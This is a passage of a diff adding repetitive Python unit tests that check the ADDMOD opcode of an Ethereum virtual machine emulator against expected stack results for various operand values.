+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADDMOD_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819968L])
+
+    def test_ADDMOD_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301279L])
+
+    def test_ADDMOD_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADDMOD_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718928L])
+
+    def test_ADDMOD_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33L])
+
+    def test_ADDMOD_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819984L])
+
+    def test_ADDMOD_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301295L])
+
+    def test_ADDMOD_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADDMOD_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [80L])
+
+    def test_ADDMOD_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718944L])
+
+    def test_ADDMOD_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49L])
+
+    def test_ADDMOD_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820000L])
+
+    def test_ADDMOD_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301311L])
+
+    def test_ADDMOD_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADDMOD_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [80L])
+
+    def test_ADDMOD_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [96L])
+
+    def test_ADDMOD_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718960L])
+
+    def test_ADDMOD_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_ADDMOD_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_ADDMOD_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718913L])
+
+    def test_ADDMOD_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504350043516790537761646130706531776516538464538864L])
+
+    def test_ADDMOD_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
